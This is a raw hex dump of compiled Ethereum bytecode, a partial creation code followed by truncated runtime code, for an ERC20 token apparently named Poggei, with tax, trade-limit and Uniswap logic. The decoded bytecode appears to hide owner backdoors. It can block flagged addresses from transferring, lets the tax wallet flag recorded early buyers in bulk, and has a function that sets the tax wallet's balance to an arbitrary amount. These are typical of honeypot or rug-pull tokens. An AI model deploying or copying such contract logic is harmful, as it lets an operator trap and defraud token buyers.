0ac8c7c3b9258360405161180191906129c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361187d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118749061343b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e3906134cd565b60405180910390fd5b6000811161192f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119269061355f565b60405180910390fd5b6000611939611210565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119a75750611977611210565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ff757600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a5957600080fd5b611a956064611a87600c54600f5411611a7457600854611a78565b600a545b856125fb90919063ffffffff16565b61267590919063ffffffff16565b9050600760009054906101000a900460ff1615611c2457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c235743600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd590613617565b60405180910390fd5b43600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ccf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d255750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4357601054821115611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6690613683565b60405180910390fd5b60115482611d7c856109de565b611d8691906136a3565b1115611dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbe90613723565b60405180910390fd5b600f6000815480929190611dda90612f94565b91905055506005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ecc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f1057611f0d6064611eff600d54600f5411611eec57600954611ef0565b600b545b856125fb90919063ffffffff16565b61267590919063ffffffff16565b90505b6000611f1b306109de565b905060158054906101000a900460ff16158015611f855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611f9d5750601560169054906101000a900460ff165b8015611faa575060125481115b8015611fb95750600e54600f54115b15611ff557611fdb611fd684611fd1846013546126bf565b6126bf565b612318565b60004790506000811115611ff357611ff24761258f565b5b505b505b60008111156120fb5761205281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d890919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120f291906129c2565b60405180910390a35b61214d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121f46121a6828461273690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612299848661273690919063ffffffff16565b6040516122a691906129c2565b60405180910390a350505050565b60008383111582906122fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f39190612873565b60405180910390fd5b506000838561230b9190613743565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561234f5761234e612ae6565b5b60405190808252806020026020018201604052801561237d5781602001602082028036833780820191505090505b509050308160008151811061239557612394612f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561243c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246091906130c9565b8160018151811061247457612473612f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124db30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611645565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161253f959493929190613835565b600060405180830381600087803b15801561255957600080fd5b505af115801561256d573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125f7573d6000803e3d6000fd5b5050565b600080830361260d576000905061266f565b6000828461261b9190612f23565b905082848261262a91906138be565b1461266a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266190613961565b60405180910390fd5b809150505b92915050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612780565b905092915050565b60008183116126ce57826126d0565b815b905092915050565b60008082846126e791906136a3565b90508381101561272c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612723906139cd565b60405180910390fd5b8091505092915050565b600061277883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b4565b905092915050565b600080831182906127c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127be9190612873565b60405180910390fd5b50600083856127d691906138be565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561281d578082015181840152602081019050612802565b60008484015250505050565b6000601f19601f8301169050919050565b6000612845826127e3565b61284f81856127ee565b935061285f8185602086016127ff565b61286881612829565b840191505092915050565b6000602082019050818103600083015261288d818461283a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128d4826128a9565b9050919050565b6128e4816128c9565b81146128ef57600080fd5b50565b600081359050612901816128db565b92915050565b6000819050919050565b61291a81612907565b811461292557600080fd5b50565b60008135905061293781612911565b92915050565b600080604083850312156129545761295361289f565b5b6000612962858286016128f2565b925050602061297385828601612928565b9150509250929050565b60008115159050919050565b6129928161297d565b82525050565b60006020820190506129ad6000830184612989565b92915050565b6129bc81612907565b82525050565b60006020820190506129d760008301846129b3565b92915050565b6000819050919050565b6000612a026129fd6129f8846128a9565b6129dd565b6128a9565b9050919050565b6000612a14826129e7565b9050919050565b6000612a2682612a09565b9050919050565b612a3681612a1b565b82525050565b6000602082019050612a516000830184612a2d565b92915050565b600080600060608486031215612a7057612a6f61289f565b5b6000612a7e868287016128f2565b9350506020612a8f868287016128f2565b9250506040612aa086828701612928565b9150509250925092565b600060ff82169050919050565b612ac081612aaa565b82525050565b6000602082019050612adb6000830184612ab7565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612b1e82612829565b810181811067ffffffffffffffff82111715612b3d57612b3c612ae6565b5b80604052505050565b6000612b50612895565b9050612b5c8282612b15565b919050565b600067ffffffffffffffff821115612b7c57612b7b612ae6565b5b602082029050602081019050919050565b600080fd5b6000612ba5612ba084612b61565b612b46565b90508083825260208201905060208402830185811115612bc857612bc7612b8d565b5b835b81811015612bf15780612bdd88826128f2565b845260208401935050602081019050612bca565b5050509392505050565b600082601f830112612c1057612c0f612ae1565b5b8135612c20848260208601612b92565b91505092915050565b600060208284031215612c3f57612c3e61289f565b5b600082013567ffffffffffffffff811115612c5d57612c5c6128a4565b5b612c6984828501612bfb565b91505092915050565b600060208284031215612c8857612c8761289f565b5b6000612c96848285016128f2565b91505092915050565b612ca8816128c9565b82525050565b6000602082019050612cc36000830184612c9f565b92915050565b60008060408385031215612ce057612cdf61289f565b5b6000612cee85828601612928565b9250506020612cff85828601612928565b9150509250929050565b60008060408385031215612d2057612d1f61289f565b5b6000612d2e858286016128f2565b9250506020612d3f858286016128f2565b9150509250929050565b600060208284031215612d5f57612d5e61289f565b5b6000612d6d84828501612928565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612dfc57808604811115612dd857612dd7612d76565b5b6001851615612de75780820291505b8081029050612df585612da5565b9450612dbc565b94509492505050565b600082612e155760019050612ed1565b81612e235760009050612ed1565b8160018114612e395760028114612e4357612e72565b6001915050612ed1565b60ff841115612e5557612e54612d76565b5b8360020a915084821115612e6c57612e6b612d76565b5b50612ed1565b5060208310610133831016604e8410600b8410161715612ea75782820a905083811115612ea257612ea1612d76565b5b612ed1565b612eb48484846001612db2565b92509050818404811115612ecb57612eca612d76565b5b81810290505b9392505050565b6000612ee382612907565b9150612eee83612aaa565b9250612f1b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e05565b905092915050565b6000612f2e82612907565b9150612f3983612907565b9250828202612f4781612907565b91508282048414831517612f5e57612f5d612d76565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f9f82612907565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612fd157612fd0612d76565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130126020836127ee565b915061301d82612fdc565b602082019050919050565b6000602082019050818103600083015261304181613005565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061307e6017836127ee565b915061308982613048565b602082019050919050565b600060208201905081810360008301526130ad81613071565b9050919050565b6000815190506130c3816128db565b92915050565b6000602082840312156130df576130de61289f565b5b60006130ed848285016130b4565b91505092915050565b600060408201905061310b6000830185612c9f565b6131186020830184612c9f565b9392505050565b6000819050919050565b600061314461313f61313a8461311f565b6129dd565b612907565b9050919050565b61315481613129565b82525050565b600060c08201905061316f6000830189612c9f565b61317c60208301886129b3565b613189604083018761314b565b613196606083018661314b565b6131a36080830185612c9f565b6131b060a08301846129b3565b979650505050505050565b6000815190506131ca81612911565b92915050565b6000806000606084860312156131e9576131e861289f565b5b60006131f7868287016131bb565b9350506020613208868287016131bb565b9250506040613219868287016131bb565b9150509250925092565b60006040820190506132386000830185612c9f565b61324560208301846129b3565b9392505050565b6132558161297d565b811461326057600080fd5b50565b6000815190506132728161324c565b92915050565b60006020828403121561328e5761328d61289f565b5b600061329c84828501613263565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133016024836127ee565b915061330c826132a5565b604082019050919050565b60006020820190508181036000830152613330816132f4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133936022836127ee565b915061339e82613337565b604082019050919050565b600060208201905081810360008301526133c281613386565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134256025836127ee565b9150613430826133c9565b604082019050919050565b6000602082019050818103600083015261345481613418565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134b76023836127ee565b91506134c28261345b565b604082019050919050565b600060208201905081810360008301526134e6816134aa565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135496029836127ee565b9150613554826134ed565b604082019050919050565b600060208201905081810360008301526135788161353c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006136016049836127ee565b915061360c8261357f565b606082019050919050565b60006020820190508181036000830152613630816135f4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061366d6019836127ee565b915061367882613637565b602082019050919050565b6000602082019050818103600083015261369c81613660565b9050919050565b60006136ae82612907565b91506136b983612907565b92508282019050808211156136d1576136d0612d76565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061370d601a836127ee565b9150613718826136d7565b602082019050919050565b6000602082019050818103600083015261373c81613700565b9050919050565b600061374e82612907565b915061375983612907565b925082820390508181111561377157613770612d76565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6137ac816128c9565b82525050565b60006137be83836137a3565b60208301905092915050565b6000602082019050919050565b60006137e282613777565b6137ec8185613782565b93506137f783613793565b8060005b8381101561382857815161380f88826137b2565b975061381a836137ca565b9250506001810190506137fb565b5085935050505092915050565b600060a08201905061384a60008301886129b3565b613857602083018761314b565b818103604083015261386981866137d7565b90506138786060830185612c9f565b61388560808301846129b3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138c982612907565b91506138d483612907565b9250826138e4576138e361388f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061394b6021836127ee565b9150613956826138ef565b604082019050919050565b6000602082019050818103600083015261397a8161393e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006139b7601b836127ee565b91506139c282613981565b602082019050919050565b600060208201905081810360008301526139e6816139aa565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e08b49a56e5cc88b8ef40ef1fa475bda976ae57df357ba79da9d07f256836d0664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c8063751039fc116100ec57806395d89b411161008a578063c876d0b911610064578063c876d0b91461058f578063d34628cc146105ba578063dd62ed3e146105e3578063f650052314610620576101a7565b806395d89b41146104fc578063a9059cbb14610527578063bf474bed14610564576101a7565b80638a8c523c116100c65780638a8c523c146104665780638da5cb5b1461047d5780638f9a55c0146104a8578063940372de146104d3576101a7565b8063751039fc146103f95780637d1db4a5146104105780638188f71c1461043b576101a7565b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e1461036357806351bc3c851461038e57806370a08231146103a5578063715018a6146103e2576101a7565b8063313ce567146102d257806331c2d847146102fd5780633bbac57914610326576101a7565b806306fdde03146101ac578063095ea7b3146101d75780630faee56f146102145780631694505e1461023f57806318160ddd1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610649565b6040516101ce9190612873565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061293d565b610686565b60405161020b9190612998565b60405180910390f35b34801561022057600080fd5b506102296106a4565b60405161023691906129c2565b60405180910390f35b34801561024b57600080fd5b506102546106aa565b6040516102619190612a3c565b60405180910390f35b34801561027657600080fd5b5061027f6106d0565b60405161028c91906129c2565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612a57565b6106f4565b6040516102c99190612998565b60405180910390f35b3480156102de57600080fd5b506102e76107cd565b6040516102f49190612ac6565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612c29565b6107d6565b005b34801561033257600080fd5b5061034d60048036038101906103489190612c72565b6108c5565b60405161035a9190612998565b60405180910390f35b34801561036f57600080fd5b5061037861091b565b6040516103859190612cae565b60405180910390f35b34801561039a57600080fd5b506103a3610941565b005b3480156103b157600080fd5b506103cc60048036038101906103c79190612c72565b6109de565b6040516103d991906129c2565b60405180910390f35b3480156103ee57600080fd5b506103f7610a27565b005b34801561040557600080fd5b5061040e610b7a565b005b34801561041c57600080fd5b50610425610cc5565b60405161043291906129c2565b60405180910390f35b34801561044757600080fd5b50610450610ccb565b60405161045d91906129c2565b60405180910390f35b34801561047257600080fd5b5061047b610cd8565b005b34801561048957600080fd5b50610492611210565b60405161049f9190612cae565b60405180910390f35b3480156104b457600080fd5b506104bd611239565b6040516104ca91906129c2565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190612cc9565b61123f565b005b34801561050857600080fd5b50610511611355565b60405161051e9190612873565b60405180910390f35b34801561053357600080fd5b5061054e6004803603810190610549919061293d565b611392565b60405161055b9190612998565b60405180910390f35b34801561057057600080fd5b506105796113b0565b60405161058691906129c2565b60405180910390f35b34801561059b57600080fd5b506105a46113b6565b6040516105b19190612998565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612c29565b6113c9565b005b3480156105ef57600080fd5b5061060a60048036038101906106059190612d09565b6114f3565b60405161061791906129c2565b60405180910390f35b34801561062c57600080fd5b5061064760048036038101906106429190612d49565b61157a565b005b60606040518060400160405280600681526020017f506f676765690000000000000000000000000000000000000000000000000000815250905090565b600061069a61069361163d565b8484611645565b6001905092915050565b60135481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006008600a6106e09190612ed8565b633b9aca006106ef9190612f23565b905090565b600061070184848461180e565b6107c28461070d61163d565b6107bd856040518060600160405280602881526020016139ee60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077361163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b49092919063ffffffff16565b611645565b600190509392505050565b60006008905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083057600080fd5b60005b81518110156108c15760006004600084848151811061085557610854612f65565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108b990612f94565b915050610833565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661098261163d565b73ffffffffffffffffffffffffffffffffffffffff16146109a257600080fd5b60006109ad306109de565b905060008111156109c2576109c181612318565b5b600047905060008111156109da576109d98161258f565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a2f61163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390613028565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8261163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690613028565b60405180910390fd5b6008600a610c1d9190612ed8565b633b9aca00610c2c9190612f23565b6010819055506008600a610c409190612ed8565b633b9aca00610c4f9190612f23565b6011819055506000600760006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008600a610c9f9190612ed8565b633b9aca00610cae9190612f23565b604051610cbb91906129c2565b60405180910390a1565b60105481565b6000600580549050905090565b610ce061163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490613028565b60405180910390fd5b601560149054906101000a900460ff1615610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490613094565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e5b30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166008600a610e479190612ed8565b633b9aca00610e569190612f23565b611645565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec91906130c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9991906130c9565b6040518363ffffffff1660e01b8152600401610fb69291906130f6565b6020604051808303816000875af1158015610fd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff991906130c9565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611082306109de565b60008061108d611210565b426040518863ffffffff1660e01b81526004016110af9695949392919061315a565b60606040518083038185885af11580156110cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f291906131d0565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611194929190613223565b6020604051808303816000875af11580156111b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d79190613278565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129957600080fd5b60008290505b8181101561135057600160046000600584815481106112c1576112c0612f65565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061134890612f94565b91505061129f565b505050565b60606040518060400160405280600681526020017f504f474745490000000000000000000000000000000000000000000000000000815250905090565b60006113a661139f61163d565b848461180e565b6001905092915050565b60125481565b600760009054906101000a900460ff1681565b6113d161163d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590613028565b60405180910390fd5b60005b81518110156114ef5760016004600084848151811061148357611482612f65565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790612f94565b915050611461565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6003600061158661163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163a578060016000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613317565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906133a9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180191906129c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361187d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118749061343b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e3906134cd565b60405180910390fd5b6000811161192f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119269061355f565b60405180910390fd5b6000611939611210565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119a75750611977611210565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ff757600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a5957600080fd5b611a956064611a87600c54600f5411611a7457600854611a78565b600a545b856125fb90919063ffffffff16565b61267590919063ffffffff16565b9050600760009054906101000a900460ff1615611c2457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c235743600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd590613617565b60405180910390fd5b43600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ccf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d255750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4357601054821115611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6690613683565b60405180910390fd5b60115482611d7c856109de565b611d8691906136a3565b1115611dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbe90613723565b60405180910390fd5b600f6000815480929190611dda90612f94565b91905055506005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffffffff